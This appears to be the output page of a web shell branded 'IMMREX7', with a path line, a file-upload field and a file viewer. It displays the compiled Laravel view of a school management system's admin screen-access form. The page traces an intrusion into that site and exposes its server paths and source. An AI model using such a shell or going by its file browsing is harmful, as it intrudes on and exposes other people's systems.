IMMREX7

aku nok ndi : /home/spdtg/www/schoolmis/storage/framework/views/
File Up :
aku nok ndi : /home/spdtg/www/schoolmis/storage/framework/views/fee2b5438c5b83b0a0b1ba5e205794867c951bec.php

<?php $__env->startSection('content'); ?>
<div class="row clearfix">
    <div class="col-xl-12">
        <div class="card">
           <div class="header">Assign Access To : <?php echo e($school->name); ?></div>
           <div class="body">
            <?php echo Form::open(['url' => 'admin/assignaccess','class'=>'form-horizontal']); ?>

            <input type="hidden" name="idSchoolUser" value="<?php echo e($school->idSchoolUser); ?>">
            <?php $__currentLoopData = $module; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $var): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <div class="col-xs-12" style="margin-top: 15px;">
                <strong> <input type="checkbox"  class="select-all" onclick="getScreens(<?php echo e($var->idModule); ?>)" id="selectall<?php echo e($var->idModule); ?>"> <?php echo e($var->moduleName); ?></strong><br>
            </div>
            <?php if(count($var->submodules) > 0): ?>
            <?php $__currentLoopData = $var->submodules; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $val): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <div class="row clearfix">
                <div class="col-xl-1"></div>
                <div class="col-xl-10">
                    <?php if($var->moduleName == $val->subModuleName): ?>
                    <?php else: ?>
                    <input type="checkbox"   class="submodule<?php echo e($var->idModule); ?>" name="submodule[<?php echo e($val->idSubModule); ?>]" value="<?php echo e($val->idSubModule); ?>"> <?php echo e($val->subModuleName); ?>

                    <?php endif; ?>
                    <?php $__currentLoopData = $val->screens; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $screen): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <div class="row clearfix">
                        <div class="col-xl-1"></div>
                        <div class="col-xl-9">
                            <?php $scrmap = \App\ScreenMapping::where('idSchoolUser','=',$school->idSchoolUser)->where('idScreen','=',$screen->idScreen)->first();?>
                            <input type="checkbox"   class="screen<?php echo e($var->idModule); ?>" name="screens[<?php echo e($screen->idScreen); ?>]" value="<?php echo e($screen->idScreen); ?>"<?php if(isset($scrmap)): ?> checked <?php endif; ?>> <?php echo e($screen->screenName); ?>

                        </div>
                    </div>
                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </div>
            </div>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            <?php else: ?>
            <?php $__currentLoopData = $var->screens; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $val): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <div class="row clearfix">
                <div class="col-xl-1"></div>
                <div class="col-xl-10">
                    <div class="row clearfix">
                        <div class="col-xl-1"></div>
                        <div class="col-xl-9">
                            <?php $scrmap = \App\ScreenMapping::where('idSchoolUser','=',$school->idSchoolUser)->where('idScreen','=',$val->idScreen)->first();?>
                            <input type="checkbox"   class="screen<?php echo e($var->idModule); ?>" name="screens[<?php echo e($val->idScreen); ?>]" value="<?php echo e($val->idScreen); ?>"<?php if(isset($scrmap)): ?> checked <?php endif; ?>> <?php echo e($val->screenName); ?>

                        </div>
                    </div>
                </div>
            </div>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            <?php endif; ?>

            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            <div class="col-md-12 col-md-offset-4"  style="padding-top: 30px;">
                <button type="submit" class="btn btn-primary"><i class="fa fa-plus"></i> Give Screen Access</button>
            </div>
            <?php echo Form::close(); ?>

           </div>
    </div>
</div>
</div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('script'); ?>
<script>
 function getScreens(key) {
    //alert(key);
    var select_all = document.getElementById("selectall" + key);
    var checkboxes = document.getElementsByClassName("screen" + key);
    select_all.addEventListener("change", function(e){
        for (i = 0; i < checkboxes.length; i++) {
             checkboxes[i].checked = select_all.checked;
        }
    });
    for (var i = 0; i < checkboxes.length; i++) {
        checkboxes[i].addEventListener('change', function(e){ //".checkbox" change 
            //uncheck "select all", if one of the listed checkbox item is unchecked
            if (this.checked == false){
                select_all.checked = false;
            }
            //check "select all" if all checkbox items are checked
            if (document.querySelectorAll('.screen:checked').length == checkboxes.length){
                select_all.checked = true;
            }
        });
    }
}
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('superadmin.layout', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Copyright © 2021 - 2025 IMMREX7